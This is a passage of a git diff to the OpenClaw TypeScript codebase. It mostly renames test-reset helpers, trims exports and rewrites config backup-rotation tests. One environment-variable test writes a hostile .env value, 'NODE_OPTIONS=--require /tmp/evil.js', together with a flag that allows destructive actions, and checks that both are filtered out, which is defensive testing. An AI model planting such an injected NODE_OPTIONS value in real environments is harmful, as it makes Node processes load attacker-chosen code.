drainSessionStoreWriterQueuesForTest, -} from "../config/sessions/store.js"; import type { SessionEntry } from "../config/sessions/types.js"; import { callGateway } from "../gateway/call.js"; import { onAgentEvent } from "../infra/agent-events.js"; import { captureEnv, deleteTestEnvValue, setTestEnvValue, withEnv } from "../test-utils/env.js"; +import { cleanupSessionStateForTest } from "../test-utils/session-state-cleanup.js"; import { scheduleOrphanRecovery } from "./subagent-orphan-recovery.js"; import { persistSubagentSessionTiming } from "./subagent-registry-helpers.js"; import { getSubagentRunsSnapshotForRead } from "./subagent-registry-state.js"; @@ -230,8 +227,7 @@ describe("subagent registry persistence", () => { afterEach(async () => { testing.setDepsForTest(); resetSubagentRegistryForTests({ persist: false }); - await drainSessionStoreWriterQueuesForTest(); - clearSessionStoreCacheForTest(); + await cleanupSessionStateForTest(); if (tempStateDir) { await fs.rm(tempStateDir, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }); tempStateDir = null; diff --git a/src/agents/system-prompt-params.test.ts b/src/agents/system-prompt-params.test.ts index c7378bd21479..f3d919a91694 100644 --- a/src/agents/system-prompt-params.test.ts +++ b/src/agents/system-prompt-params.test.ts @@ -5,10 +5,7 @@ import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { - resetActiveNodeContextForTests, - setActiveNodeContext, -} from "../infra/active-node-context.js"; +import { setActiveNodeContext } from "../infra/active-node-context.js"; import { buildSystemPromptParams } from "./system-prompt-params.js"; async function makeTempDir(label: string): Promise { @@ -35,7 +32,7 @@ function buildParams(params: { config?: OpenClawConfig; workspaceDir?: string; c } describe("buildSystemPromptParams", () => { - afterEach(() => resetActiveNodeContextForTests()); + afterEach(() => setActiveNodeContext(null)); it("projects only the stable active-node identity", () => { setActiveNodeContext({ nodeId: "mac-123" }); diff --git a/src/agents/tools/video-generate-background.test.ts b/src/agents/tools/video-generate-background.test.ts index 829ca1181803..87e3f83e3daa 100644 --- a/src/agents/tools/video-generate-background.test.ts +++ b/src/agents/tools/video-generate-background.test.ts @@ -1,7 +1,7 @@ // Video generation background tests cover detached task lifecycle, keepalive // progress, completion announcement, and direct failure delivery. import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { getAgentRunContext, resetAgentRunContextForTest } from "../../infra/agent-events.js"; +import { getAgentRunContext, resetAgentEventsForTest } from "../../infra/agent-events.js"; import { VIDEO_GENERATION_TASK_KIND } from "../video-generation-task-status.js"; import { announceDeliveryMocks, @@ -28,7 +28,7 @@ const { withMediaGenerationTaskKeepalive } = await import("./media-generate-back describe("video generate background helpers", () => { beforeEach(() => { - resetAgentRunContextForTest(); + resetAgentEventsForTest(); resetMediaBackgroundMocks({ taskExecutorMocks, taskDeliveryRuntimeMocks, @@ -38,7 +38,7 @@ describe("video generate background helpers", () => { afterEach(() => { vi.useRealTimers(); - resetAgentRunContextForTest(); + resetAgentEventsForTest(); }); it("creates a running task with queued progress text", () => { diff --git a/src/auto-reply/reply/commands-gating.test.ts b/src/auto-reply/reply/commands-gating.test.ts index 42495b64bb68..8f02436f14d0 100644 --- a/src/auto-reply/reply/commands-gating.test.ts +++ b/src/auto-reply/reply/commands-gating.test.ts @@ -1,6 +1,5 @@ // Tests command gating rules for ownership, channel, and active session state. import { beforeEach, describe, expect, it, vi } from "vitest"; -import { isCommandFlagEnabled } from "../../config/commands.js"; import type { OpenClawConfig } from "../../config/config.js"; import { REDACTED_SENTINEL } from "../../config/redact-snapshot.js"; import type { MsgContext } from "../templating.js"; @@ -621,18 +620,6 @@ describe("command gating", () => { }); }); - it("ignores inherited command flags", () => { - const inheritedCommands = Object.create({ - bash: true, - config: true, - debug: true, - }) as Record; - const cfg = { commands: inheritedCommands as never } as OpenClawConfig; - expect(isCommandFlagEnabled(cfg, "bash")).toBe(false); - expect(isCommandFlagEnabled(cfg, "config")).toBe(false); - expect(isCommandFlagEnabled(cfg, "debug")).toBe(false); - }); - it("blocks disallowed /config set writes", async () => { resolveConfigWriteDeniedTextMock .mockReturnValueOnce("Config writes are disabled") diff --git a/src/auto-reply/reply/dispatch-from-config.test-harness.ts b/src/auto-reply/reply/dispatch-from-config.test-harness.ts index f5ef82902f9d..26e44d63925e 100644 --- a/src/auto-reply/reply/dispatch-from-config.test-harness.ts +++ b/src/auto-reply/reply/dispatch-from-config.test-harness.ts @@ -3,7 +3,6 @@ import { vi, type Mock } from "vitest"; import { clearAgentHarnesses } from "../../agents/harness/registry.js"; import type { ChannelMessagingAdapter } from "../../channels/plugins/types.core.js"; import type { OpenClawConfig } from "../../config/config.js"; -import { clearApprovalNativeRouteStateForTest } from "../../infra/approval-native-route-coordinator.js"; import type { AcpRuntime, AcpRuntimeEnsureInput, @@ -459,7 +458,6 @@ export const describe0BeforeEach0 = () => { ...passiveThreadingTestPlugins, ]), ); - clearApprovalNativeRouteStateForTest(); acpManagerRuntimeMocks.getAcpSessionManager.mockReset(); acpManagerRuntimeMocks.getAcpSessionManager.mockReturnValue(createMockAcpSessionManager()); replyRunTesting.resetReplyRunRegistry(); diff --git a/src/auto-reply/reply/followup-runner.test.ts b/src/auto-reply/reply/followup-runner.test.ts index 9e6dcd099bc3..3f56126847c9 100644 --- a/src/auto-reply/reply/followup-runner.test.ts +++ b/src/auto-reply/reply/followup-runner.test.ts @@ -9,6 +9,7 @@ import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vite import { setCliSessionBinding } from "../../agents/cli-session.js"; import type { OpenClawConfig } from "../../config/config.js"; import type { SessionEntry } from "../../config/sessions/types.js"; +import { resetAgentEventsForTest } from "../../infra/agent-events.js"; import { createUserTurnTranscriptRecorder, type PersistedUserTurnMessage, @@ -556,6 +557,7 @@ beforeAll(async () => { }); beforeEach(() => { + resetAgentEventsForTest({ preserveListeners: true }); setFastFollowupCliBackendDeps(); replyRunTestingForTest?.resetReplyRunRegistry(); clearRuntimeConfigSnapshot?.(); @@ -616,6 +618,7 @@ beforeEach(() => { }); afterEach(() => { + resetAgentEventsForTest({ preserveListeners: true }); cliBackendsTestingForTest?.resetDepsForTest(); replyRunTestingForTest?.resetReplyRunRegistry(); clearRuntimeConfigSnapshot?.(); @@ -1115,7 +1118,6 @@ describe("createFollowupRunner reply-lane admission", () => { const realAgentEvents = await vi.importActual( "../../infra/agent-events.js", ); - realAgentEvents.resetAgentRunContextForTest(); const active = createReplyOperationForTest({ sessionKey: "main", sessionId: "pre-compact-session", @@ -1170,7 +1172,6 @@ describe("createFollowupRunner reply-lane admission", () => { expect(realAgentEvents.getAgentRunContext(observedRunId ?? "")?.sessionId).toBe( "post-compact-session", ); - realAgentEvents.resetAgentRunContextForTest(); }); it("routes preflight compaction failures before starting queued followup runs", async () => { @@ -4695,7 +4696,6 @@ describe("createFollowupRunner compaction", () => { const realAgentEvents = await vi.importActual( "../../infra/agent-events.js", ); - realAgentEvents.resetAgentRunContextForTest(); const sessionEntry: SessionEntry = { sessionId: "old-session", updatedAt: Date.now(), @@ -4751,14 +4751,12 @@ describe("createFollowupRunner compaction", () => { expect(observedRunId).toBeDefined(); expect(realAgentEvents.getAgentRunContext(observedRunId ?? "")?.sessionId).toBe("new-session"); - realAgentEvents.resetAgentRunContextForTest(); }); it("captures follow-up lifecycle ownership before asynchronous preflight", async () => { const realAgentEvents = await vi.importActual( "../../infra/agent-events.js", ); - realAgentEvents.resetAgentRunContextForTest(); const initialGeneration = realAgentEvents.getAgentEventLifecycleGeneration(); let releasePreflight: (() => void) | undefined; runPreflightCompactionIfNeededMock.mockImplementationOnce( @@ -4826,7 +4824,6 @@ describe("createFollowupRunner compaction", () => { expect(observedLifecycleGeneration).toBe(initialGeneration); expect(realAgentEvents.getAgentRunContext(registeredRun?.runId ?? "")).toBeUndefined(); } finally { - realAgentEvents.resetAgentRunContextForTest(); } }); }); diff --git a/src/channels/turn/kernel.test.ts b/src/channels/turn/kernel.test.ts index 97de83a1ac33..2da12666127e 100644 --- a/src/channels/turn/kernel.test.ts +++ b/src/channels/turn/kernel.test.ts @@ -16,7 +16,6 @@ import { createChildDiagnosticTraceContext, freezeDiagnosticTraceContext, getActiveDiagnosticTraceContext, - resetDiagnosticTraceContextForTest, } from "../../infra/diagnostic-trace-context.js"; import { logMessageProcessed } from "../../logging/diagnostic.js"; import { getChildLogger, resetLogger, setLoggerOverride } from "../../logging/logger.js"; @@ -192,7 +191,6 @@ describe("channel turn kernel", () => { beforeEach(() => { vi.clearAllMocks(); resetDiagnosticEventsForTest(); - resetDiagnosticTraceContextForTest(); resetLogger(); setLoggerOverride({ level: "info" }); resolveOutboundDurableFinalDeliverySupport.mockResolvedValue({ ok: true }); diff --git a/src/cli/daemon-cli/restart-health.test.ts b/src/cli/daemon-cli/restart-health.test.ts index 2380ca036145..1a4b471eac09 100644 --- a/src/cli/daemon-cli/restart-health.test.ts +++ b/src/cli/daemon-cli/restart-health.test.ts @@ -1,7 +1,9 @@ // Daemon restart health tests cover health checks after daemon restart operations. import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { GatewayService } from "../../daemon/service.js"; -import type { PortListenerKind, PortUsage } from "../../infra/ports.js"; +import type { PortUsage } from "../../infra/ports.js"; + +type PortListenerKind = ReturnType; const inspectPortUsage = vi.hoisted(() => vi.fn<(port: number) => Promise>()); const sleep = vi.hoisted(() => vi.fn(async (_ms: number) => {})); diff --git a/src/cli/daemon-cli/status.gather.test.ts b/src/cli/daemon-cli/status.gather.test.ts index bdf164d7932a..f486d540bc53 100644 --- a/src/cli/daemon-cli/status.gather.test.ts +++ b/src/cli/daemon-cli/status.gather.test.ts @@ -5,13 +5,17 @@ import path from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import type { StaleOpenClawUpdateLaunchdJob } from "../../daemon/launchd.js"; import { createMockGatewayService } from "../../daemon/service.test-helpers.js"; -import type { PortConnections, PortListener, PortUsageStatus } from "../../infra/ports.js"; +import type { PortListener, PortUsageStatus } from "../../infra/ports.js"; import type { GatewayRestartHandoff } from "../../infra/restart-handoff.js"; import { captureEnv, deleteTestEnvValue, setTestEnvValue } from "../../test-utils/env.js"; import { VERSION } from "../../version.js"; import type { GatewayRestartSnapshot } from "./restart-health.js"; import { gatherDaemonStatus } from "./status.gather.js"; +type PortConnections = Awaited< + ReturnType +>; + const callGatewayStatusProbe = vi.fn< (opts?: unknown) => Promise<{ ok: boolean; diff --git a/src/cli/gateway-cli/run-loop.test.ts b/src/cli/gateway-cli/run-loop.test.ts index 1323db2b91f4..c978ea21d54e 100644 --- a/src/cli/gateway-cli/run-loop.test.ts +++ b/src/cli/gateway-cli/run-loop.test.ts @@ -1129,6 +1129,7 @@ describe("runGatewayLoop", () => { expect(markGatewaySigusr1RestartHandled).toHaveBeenCalledTimes(1); expect(markGatewayDraining).toHaveBeenCalledTimes(1); expect(resetAllLanes).toHaveBeenCalledTimes(1); + expect(resetGatewaySuspendCoordinatorForLifecycleRestart).toHaveBeenCalledTimes(1); expect(resetGatewayRestartStateForInProcessRestart).toHaveBeenCalledTimes(1); expect(reloadTaskRuntimeStateFromStore).toHaveBeenCalledTimes(1); } finally { @@ -1318,6 +1319,7 @@ describe("runGatewayLoop", () => { expect(markGatewaySigusr1RestartHandled).toHaveBeenCalledTimes(2); expect(markGatewayDraining).toHaveBeenCalledTimes(2); expect(resetAllLanes).toHaveBeenCalledTimes(2); + expect(resetGatewaySuspendCoordinatorForLifecycleRestart).toHaveBeenCalledTimes(2); expect(resetGatewayRestartStateForInProcessRestart).toHaveBeenCalledTimes(2); expect(reloadTaskRuntimeStateFromStore).toHaveBeenCalledTimes(2); expect(acquireGatewayLock).toHaveBeenCalledTimes(3); @@ -1390,6 +1392,7 @@ describe("runGatewayLoop", () => { expect(markGatewaySigusr1RestartHandled).toHaveBeenCalledTimes(2); expect(markGatewayDraining).toHaveBeenCalledTimes(2); expect(resetAllLanes).toHaveBeenCalledTimes(2); + expect(resetGatewaySuspendCoordinatorForLifecycleRestart).toHaveBeenCalledTimes(2); expect(resetGatewayRestartStateForInProcessRestart).toHaveBeenCalledTimes(2); expect(reloadTaskRuntimeStateFromStore).toHaveBeenCalledTimes(2); expect(acquireGatewayLock).toHaveBeenCalledTimes(3); diff --git a/src/cli/update-cli.test.ts b/src/cli/update-cli.test.ts index 52232d5dbd85..c774070606d9 100644 --- a/src/cli/update-cli.test.ts +++ b/src/cli/update-cli.test.ts @@ -7,12 +7,12 @@ import path from "node:path"; import { expectDefined } from "@openclaw/normalization-core"; import { Command } from "commander"; import { afterAll, afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { writePackageDistInventory } from "../../scripts/lib/package-dist-inventory.ts"; import { TEST_BUNDLED_RUNTIME_SIDECAR_PATHS } from "../../test/helpers/bundled-runtime-sidecars.js"; import type { OpenClawConfig, ConfigFileSnapshot } from "../config/types.openclaw.js"; import type { PluginInstallRecord } from "../config/types.plugins.js"; import { GATEWAY_SERVICE_RUNTIME_PID_ENV } from "../daemon/constants.js"; import type { ClawHubRiskAcknowledgementRequest } from "../infra/clawhub-install-trust.js"; -import { writePackageDistInventory } from "../infra/package-dist-inventory.js"; import { isBetaTag } from "../infra/update-channels.js"; import { createDeferredConfiguredPluginRepairDoctorResult, diff --git a/src/commands/agent.test.ts b/src/commands/agent.test.ts index 76280ce41f03..952696cda1dd 100644 --- a/src/commands/agent.test.ts +++ b/src/commands/agent.test.ts @@ -30,7 +30,6 @@ import { emitAgentEvent, onAgentEvent, resetAgentEventsForTest, - resetAgentRunContextForTest, } from "../infra/agent-events.js"; import type { PluginProviderRegistration } from "../plugins/registry.test-fixtures.js"; import { resetPluginRuntimeStateForTest, setActivePluginRegistry } from "../plugins/runtime.js"; @@ -393,7 +392,6 @@ beforeEach(() => { installThinkingTestProviders(); clearSessionStoreCacheForTest(); resetAgentEventsForTest(); - resetAgentRunContextForTest(); acpManagerTesting.resetAcpSessionManagerForTests(); runtimeSnapshotModule.clearRuntimeConfigSnapshot(); vi.mocked(runEmbeddedAgent).mockResolvedValue(createDefaultAgentResult()); diff --git a/src/commands/doctor-sandbox.test.ts b/src/commands/doctor-sandbox.test.ts index 7e5808fe27c3..e7a61230dbb7 100644 --- a/src/commands/doctor-sandbox.test.ts +++ b/src/commands/doctor-sandbox.test.ts @@ -2,16 +2,12 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it } from "vitest"; -import { __testing as openClawRootTesting } from "../infra/openclaw-root.js"; import { resolveSandboxScript } from "./doctor-sandbox.js"; describe("resolveSandboxScript", () => { const created: string[] = []; afterEach(() => { - // The shared resolver memoizes package-root lookups process-wide; reset so per-test temp dirs - // never see a stale (including negative) cache hit. - openClawRootTesting.clearOpenClawPackageRootCaches(); for (const dir of created.splice(0)) { fs.rmSync(dir, { recursive: true, force: true }); } diff --git a/src/commands/doctor-session-snapshots.test.ts b/src/commands/doctor-session-snapshots.test.ts index 62ae91b8c660..bc78b50081ca 100644 --- a/src/commands/doctor-session-snapshots.test.ts +++ b/src/commands/doctor-session-snapshots.test.ts @@ -12,7 +12,6 @@ import { } from "../config/sessions/store.js"; import type { SessionEntry } from "../config/sessions/types.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { __testing as openClawRootTesting } from "../infra/openclaw-root.js"; import { AGENT_HARNESS_SESSION_KEY_RESERVED_MESSAGE } from "../sessions/agent-harness-session-key.js"; import type { Skill } from "../skills/loading/skill-contract.js"; @@ -126,7 +125,6 @@ describe("doctor session snapshot stale runtime metadata", () => { }); afterEach(async () => { - openClawRootTesting.clearOpenClawPackageRootCaches(); await fs.rm(root, { recursive: true, force: true }); }); diff --git a/src/config/backup-rotation.ts b/src/config/backup-rotation.ts index 602de40940a6..d949dfd3d9bf 100644 --- a/src/config/backup-rotation.ts +++ b/src/config/backup-rotation.ts @@ -20,10 +20,7 @@ interface BackupMaintenanceFs extends BackupRotationFs { * Missing slots are ignored so interrupted writes or first-run configs do not * block the next config write. */ -export async function rotateConfigBackups( - configPath: string, - ioFs: BackupRotationFs, -): Promise { +async function rotateConfigBackups(configPath: string, ioFs: BackupRotationFs): Promise { if (CONFIG_BACKUP_COUNT <= 1) { return; } @@ -48,10 +45,7 @@ export async function rotateConfigBackups( * Backups are copied on mixed filesystems, so copy mode preservation is not a * portable security guarantee. */ -export async function hardenBackupPermissions( - configPath: string, - ioFs: BackupRotationFs, -): Promise { +async function hardenBackupPermissions(configPath: string, ioFs: BackupRotationFs): Promise { if (!ioFs.chmod) { return; } @@ -67,10 +61,7 @@ export async function hardenBackupPermissions( } /** Prunes stale `.bak.*` files that are outside the managed numbered ring. */ -export async function cleanOrphanBackups( - configPath: string, - ioFs: BackupRotationFs, -): Promise { +async function cleanOrphanBackups(configPath: string, ioFs: BackupRotationFs): Promise { if (!ioFs.readdir) { return; } diff --git a/src/config/channel-config-metadata.ts b/src/config/channel-config-metadata.ts index d456ec232f45..32a3d3f07884 100644 --- a/src/config/channel-config-metadata.ts +++ b/src/config/channel-config-metadata.ts @@ -6,7 +6,7 @@ import type { PluginManifestRegistry } from "../plugins/manifest-registry.js"; import type { PluginOrigin } from "../plugins/plugin-origin.types.js"; import type { ChannelUiMetadata, PluginUiMetadata } from "./schema.js"; -export type ChannelSchemaMetadataWithOwnership = ChannelUiMetadata & { +type ChannelSchemaMetadataWithOwnership = ChannelUiMetadata & { schemaPluginId?: string; schemaPluginOrigin?: PluginOrigin; }; @@ -17,7 +17,7 @@ type ChannelMetadataRecord = ChannelSchemaMetadataWithOwnership & { type ChannelDmAllowFromMode = "topOnly" | "topOrNested" | "nestedOnly"; -export type ChannelDmPolicyMetadata = { +type ChannelDmPolicyMetadata = { id: string; dmAllowFromMode?: ChannelDmAllowFromMode; }; diff --git a/src/config/commands.test.ts b/src/config/commands.test.ts index b36b086ef283..967b5313ddff 100644 --- a/src/config/commands.test.ts +++ b/src/config/commands.test.ts @@ -3,9 +3,8 @@ import path from "node:path"; import { beforeEach, describe, expect, it } from "vitest"; import { setActivePluginRegistry } from "../plugins/runtime.js"; import { createChannelTestPluginBase, createTestRegistry } from "../test-utils/channel-plugins.js"; +import { isCommandFlagEnabled, isRestartEnabled } from "./commands.flags.js"; import { - isCommandFlagEnabled, - isRestartEnabled, isNativeCommandsExplicitlyDisabled, resolveNativeCommandsEnabled, resolveNativeSkillsEnabled, diff --git a/src/config/commands.ts b/src/config/commands.ts index 24ae460327d1..d783df85d0ca 100644 --- a/src/config/commands.ts +++ b/src/config/commands.ts @@ -5,7 +5,6 @@ import { resolveReadOnlyChannelCommandDefaults } from "../channels/plugins/read- import type { ChannelId } from "../channels/plugins/types.public.js"; import type { NativeCommandsSetting } from "./types.js"; import type { OpenClawConfig } from "./types.openclaw.js"; -export { isCommandFlagEnabled, isRestartEnabled } from "./commands.flags.js"; function resolveAutoDefault( providerId: ChannelId | undefined, diff --git a/src/config/config.allowlist-requires-allowfrom.test.ts b/src/config/config.allowlist-requires-allowfrom.test.ts index d981bd959f12..a51a4164c162 100644 --- a/src/config/config.allowlist-requires-allowfrom.test.ts +++ b/src/config/config.allowlist-requires-allowfrom.test.ts @@ -3,7 +3,6 @@ import { describe, expect, it } from "vitest"; import { DiscordConfigSchema, IMessageConfigSchema, - IrcConfigSchema, SignalConfigSchema, SlackConfigSchema, TelegramConfigSchema, @@ -95,10 +94,10 @@ describe('account dmPolicy="allowlist" uses inherited allowFrom', () => { schema: SlackConfigSchema, config: { allowFrom: ["U123"], - botToken: "xoxb-top", - appToken: "xapp-top", + botToken: "fake", + appToken: "fake", accounts: { - work: { dmPolicy: "allowlist", botToken: "xoxb-work", appToken: "xapp-work" }, + work: { dmPolicy: "allowlist", botToken: "fake", appToken: "fake" }, }, }, }, @@ -112,11 +111,6 @@ describe('account dmPolicy="allowlist" uses inherited allowFrom', () => { schema: IMessageConfigSchema, config: { allowFrom: ["alice"], accounts: { work: { dmPolicy: "allowlist" } } }, }, - { - name: "irc", - schema: IrcConfigSchema, - config: { allowFrom: ["nick"], accounts: { work: { dmPolicy: "allowlist" } } }, - }, ] as const)( "accepts $name account allowlist when parent allowFrom exists", ({ schema, config }) => { diff --git a/src/config/config.backup-rotation.test.ts b/src/config/config.backup-rotation.test.ts index 7c37314633c6..efa9c9f37cf5 100644 --- a/src/config/config.backup-rotation.test.ts +++ b/src/config/config.backup-rotation.test.ts @@ -1,20 +1,13 @@ // Covers config backup rotation limits and cleanup behavior. import fs from "node:fs/promises"; import { describe, expect, it } from "vitest"; -import { - createPreUpdateConfigSnapshot, - maintainConfigBackups, - rotateConfigBackups, - hardenBackupPermissions, - cleanOrphanBackups, -} from "./backup-rotation.js"; +import { createPreUpdateConfigSnapshot, maintainConfigBackups } from "./backup-rotation.js"; import { expectPosixMode, IS_WINDOWS, resolveConfigPathFromTempState, } from "./config.backup-rotation.test-helpers.js"; import { withTempHome } from "./test-helpers.js"; -import type { OpenClawConfig } from "./types.js"; async function expectRegularFile(filePath: string): Promise { expect((await fs.stat(filePath)).isFile()).toBe(true); @@ -31,94 +24,35 @@ async function expectPathMissing(filePath: string): Promise { } describe("config backup rotation", () => { - it("keeps a 5-deep backup ring for config writes", async () => { + it("keeps five recovery points while preserving the pre-update snapshot", async () => { await withTempHome(async () => { const configPath = resolveConfigPathFromTempState(); - const buildConfig = (version: number): OpenClawConfig => - ({ - agents: { list: [{ id: `v${version}` }] }, - }) as OpenClawConfig; - - const writeVersion = async (version: number) => { - const json = JSON.stringify(buildConfig(version), null, 2).trimEnd().concat("\n"); - await fs.writeFile(configPath, json, "utf-8"); + const writeVersion = (version: number) => + fs.writeFile(configPath, JSON.stringify({ version }), "utf-8"); + const readVersion = async (suffix = "") => { + const raw = await fs.readFile(`${configPath}${suffix}`, "utf-8"); + return (JSON.parse(raw) as { version: number }).version; }; + const { existsSync } = await import("node:fs"); await writeVersion(0); + await createPreUpdateConfigSnapshot({ + configPath, + fs: { writeFile: fs.writeFile, readFile: fs.readFile, existsSync }, + }); for (let version = 1; version <= 6; version += 1) { - await rotateConfigBackups(configPath, fs); - await fs.copyFile(configPath, `${configPath}.bak`).catch(() => { - // best-effort - }); + await maintainConfigBackups(configPath, fs); await writeVersion(version); } - const readName = async (suffix = "") => { - const raw = await fs.readFile(`${configPath}${suffix}`, "utf-8"); - return ( - (JSON.parse(raw) as { agents?: { list?: Array<{ id?: string }> } }).agents?.list?.[0] - ?.id ?? null - ); - }; - - await expect(readName()).resolves.toBe("v6"); - await expect(readName(".bak")).resolves.toBe("v5"); - await expect(readName(".bak.1")).resolves.toBe("v4"); - await expect(readName(".bak.2")).resolves.toBe("v3"); - await expect(readName(".bak.3")).resolves.toBe("v2"); - await expect(readName(".bak.4")).resolves.toBe("v1"); + await expect(readVersion()).resolves.toBe(6); + await expect(readVersion(".bak")).resolves.toBe(5); + await expect(readVersion(".bak.1")).resolves.toBe(4); + await expect(readVersion(".bak.2")).resolves.toBe(3); + await expect(readVersion(".bak.3")).resolves.toBe(2); + await expect(readVersion(".bak.4")).resolves.toBe(1); await expectPathMissing(`${configPath}.bak.5`); - }); - }); - - // chmod is a no-op on Windows — 0o600 can never be observed there. - it.skipIf(IS_WINDOWS)("hardenBackupPermissions sets 0o600 on all backup files", async () => { - await withTempHome(async () => { - const configPath = resolveConfigPathFromTempState(); - - // Create .bak and .bak.1 with permissive mode - await fs.writeFile(`${configPath}.bak`, "secret", { mode: 0o644 }); - await fs.writeFile(`${configPath}.bak.1`, "secret", { mode: 0o644 }); - - await hardenBackupPermissions(configPath, fs); - - const bakStat = await fs.stat(`${configPath}.bak`); - const bak1Stat = await fs.stat(`${configPath}.bak.1`); - - expectPosixMode(bakStat.mode, 0o600); - expectPosixMode(bak1Stat.mode, 0o600); - }); - }); - - it("cleanOrphanBackups removes stale files outside the rotation ring", async () => { - await withTempHome(async () => { - const configPath = resolveConfigPathFromTempState(); - - // Create valid backups - await fs.writeFile(configPath, "current"); - await fs.writeFile(`${configPath}.bak`, "backup-0"); - await fs.writeFile(`${configPath}.bak.1`, "backup-1"); - await fs.writeFile(`${configPath}.bak.2`, "backup-2"); - - // Create orphans - await fs.writeFile(`${configPath}.bak.1772352289`, "orphan-pid"); - await fs.writeFile(`${configPath}.bak.before-marketing`, "orphan-manual"); - await fs.writeFile(`${configPath}.bak.99`, "orphan-overflow"); - - await cleanOrphanBackups(configPath, fs); - - // Valid backups preserved - await expectRegularFile(`${configPath}.bak`); - await expectRegularFile(`${configPath}.bak.1`); - await expectRegularFile(`${configPath}.bak.2`); - - // Orphans removed - await expectPathMissing(`${configPath}.bak.1772352289`); - await expectPathMissing(`${configPath}.bak.before-marketing`); - await expectPathMissing(`${configPath}.bak.99`); - - // Main config untouched - await expect(fs.readFile(configPath, "utf-8")).resolves.toBe("current"); + await expect(readVersion(".pre-update")).resolves.toBe(0); }); }); @@ -170,31 +104,6 @@ describe("config backup rotation", () => { }); }); - it("createPreUpdateConfigSnapshot survives multiple config writes", async () => { - await withTempHome(async () => { - const configPath = resolveConfigPathFromTempState(); - const original = JSON.stringify({ version: "original" }); - await fs.writeFile(configPath, original, { mode: 0o600 }); - - const { existsSync } = await import("node:fs"); - await createPreUpdateConfigSnapshot({ - configPath, - fs: { writeFile: fs.writeFile, readFile: fs.readFile, existsSync }, - }); - - // Simulate multiple config writes + backup rotations - for (let i = 0; i < 7; i++) { - await rotateConfigBackups(configPath, fs); - await fs.copyFile(configPath, `${configPath}.bak`); - await fs.writeFile(configPath, JSON.stringify({ version: `write-${i}` })); - } - - // .pre-update still holds the original content - const snapshotPath = `${configPath}.pre-update`; - await expect(fs.readFile(snapshotPath, "utf-8")).resolves.toBe(original); - }); - }); - it("createPreUpdateConfigSnapshot replaces a preexisting snapshot once per process", async () => { await withTempHome(async () => { const configPath = resolveConfigPathFromTempState(); @@ -261,7 +170,6 @@ describe("config backup rotation", () => { }); await expectPathMissing(`${configPath}.pre-update`); - // The failed attempt must not suppress the next snapshot pass. await createPreUpdateConfigSnapshot({ configPath, fs: { writeFile: fs.writeFile, readFile: fs.readFile, existsSync }, diff --git a/src/config/config.env-vars.test.ts b/src/config/config.env-vars.test.ts index 1f168796f9a6..806e817a4ce5 100644 --- a/src/config/config.env-vars.test.ts +++ b/src/config/config.env-vars.test.ts @@ -16,7 +16,7 @@ import { } from "./config-env-vars.js"; import { resolveConfigEnvVars } from "./env-substitution.js"; import { assertGatewayConfigEnvSelectionUnchanged } from "./gateway-env-selection.js"; -import { collectDurableServiceEnvVars, readStateDirDotEnvVars } from "./state-dir-dotenv.js"; +import { collectDurableServiceEnvVars } from "./state-dir-dotenv.js"; import { withEnvOverride, withTempHome, writeStateDirDotEnv } from "./test-helpers.js"; import type { OpenClawConfig } from "./types.js"; @@ -598,7 +598,7 @@ describe("config env vars", () => { await writeStateDirDotEnv("BRAVE_API_KEY=BSA-test-key\nDISCORD_BOT_TOKEN=discord-tok\n", { env: process.env, }); - const vars = readStateDirDotEnvVars(process.env); + const vars = collectDurableServiceEnvVars({ env: process.env }); expect(vars.BRAVE_API_KEY).toBe("BSA-test-key"); expect(vars.DISCORD_BOT_TOKEN).toBe("discord-tok"); }); @@ -606,7 +606,7 @@ describe("config env vars", () => { it("returns empty record when the state-dir .env file is missing", async () => { await withTempHome(async (_home) => { - expect(readStateDirDotEnvVars(process.env)).toStrictEqual({}); + expect(collectDurableServiceEnvVars({ env: process.env })).toStrictEqual({}); }); }); @@ -616,7 +616,7 @@ describe("config env vars", () => { "NODE_OPTIONS=--require /tmp/evil.js\nOPENCLAW_ALLOW_OLDER_BINARY_DESTRUCTIVE_ACTIONS=1\nEMPTY=\nVALID=ok\n", { env: process.env }, ); - const vars = readStateDirDotEnvVars(process.env); + const vars = collectDurableServiceEnvVars({ env: process.env }); expect(vars.NODE_OPTIONS).toBeUndefined(); expect(vars.OPENCLAW_ALLOW_OLDER_BINARY_DESTRUCTIVE_ACTIONS).toBeUndefined(); expect(vars.EMPTY).toBeUndefined(); @@ -631,8 +631,8 @@ describe("config env vars", () => { stateDir: customStateDir, }); expect( - readStateDirDotEnvVars({ - OPENCLAW_STATE_DIR: customStateDir, + collectDurableServiceEnvVars({ + env: { OPENCLAW_STATE_DIR: customStateDir }, }).CUSTOM_KEY, ).toBe("from-override"); }); diff --git a/src/config/cron-limits.ts b/src/config/cron-limits.ts index e7442caa7a79..9be828f62264 100644 --- a/src/config/cron-limits.ts +++ b/src/config/cron-limits.ts @@ -3,7 +3,7 @@ import type { CronConfig } from "./types.cron.js"; /** Default maximum number of cron jobs allowed to run at once. */ export const DEFAULT_CRON_MAX_CONCURRENT_RUNS = 8; -export const DEFAULT_CRON_TRIGGER_MIN_INTERVAL_MS = 30_000; +const DEFAULT_CRON_TRIGGER_MIN_INTERVAL_MS = 30_000; /** Resolves cron concurrency config, flooring finite values and clamping to at least one. */ export function resolveCronMaxConcurrentRuns( diff --git a/src/config/env-vars.ts b/src/config/env-vars.ts index eea5904a167e..1b05a8f847db 100644 --- a/src/config/env-vars.ts +++ b/src/config/env-vars.ts @@ -5,4 +5,3 @@ export { createConfigRuntimeEnv, isConfigRuntimeEnvVarAllowed, } from "./config-env-vars.js"; -export { collectDurableServiceEnvVars, readStateDirDotEnvVars } from "./state-dir-dotenv.js"; diff --git a/src/config/includes.test.ts b/src/config/includes.test.ts index 7d5d42ad398d..1181cc8fd42b 100644 --- a/src/config/includes.test.ts +++ b/src/config/includes.test.ts @@ -9,9 +9,6 @@ import { CircularIncludeError, ConfigIncludeError, MAX_INCLUDE_DEPTH, - MAX_INCLUDE_FILE_BYTES, - MAX_INCLUDE_PATH_LENGTH, - deepMerge, type IncludeResolver, resolveConfigIncludeWritePath, resolveConfigIncludes, @@ -722,30 +719,24 @@ 